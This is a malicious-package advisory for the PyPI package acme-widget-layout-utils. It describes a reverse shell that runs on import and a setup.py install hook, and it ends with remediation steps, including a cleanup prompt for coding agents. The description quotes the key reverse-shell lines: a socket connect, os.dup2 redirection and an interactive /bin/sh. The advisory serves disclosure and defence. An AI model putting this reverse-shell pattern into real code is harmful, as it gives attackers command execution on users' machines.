# MAL-2026-5545: Malicious code in acme-widget-layout-utils (PyPI)


- **Type:** Malicious package
- **Package:** `acme-widget-layout-utils` (PyPI)
- **Published:** 11 Jun 2026

## What is MAL-2026-5545?

MAL-2026-5545 is a malicious package in acme-widget-layout-utils, published on 11 Jun 2026. 

### Official description

On import, src/acme_widget_layout_utils/__init__.py executes a textbook reverse-shell pattern: it opens a TCP socket, duplicates the socket file descriptor onto stdin/stdout/stderr via os.dup2, and execs `/bin/sh -i` (lines 11-16: `_sock.connect(("127.0.0.1", 1)); os.dup2(_sock.fileno(), 0);...; subprocess.call(["/bin/sh", "-i"])`). The hardcoded destination 127.0.0.1:1 is intentionally unreachable in a default environment, but the code is a fully functional reverse shell — any environment that has a listener on that endpoint, that proxies loopback, or that is patched to redirect the connection receives an interactive shell with the importing process's privileges. The package additionally writes a marker file `/tmp/pypi_install_hook_marker.txt` from a custom setup.py install cmdclass during `pip install`, and the package is published under a generic `widget-layout-utils` name despite its pyproject description acknowledging it is a 'pipeline hook probe' with no advertised utility. The name/purpose mismatch increases the risk of accidental installation. Shipping live reverse-shell code on public PyPI under a benign name is unsafe regardless of the author's stated 'security probe' intent.

During import, the package starts a reverse shell.

---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-acme-widget-layout-utils

Reasons (based on the campaign):

 - The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.

## What should I do about MAL-2026-5545?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-5545 is a malicious package: acme-widget-layout-utils (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-5545/ (Markdown: https://insights.sbomify.com/MAL-2026-5545/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-5545

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-5545/
Summaries are generated and may contain mistakes; the official description above is the record.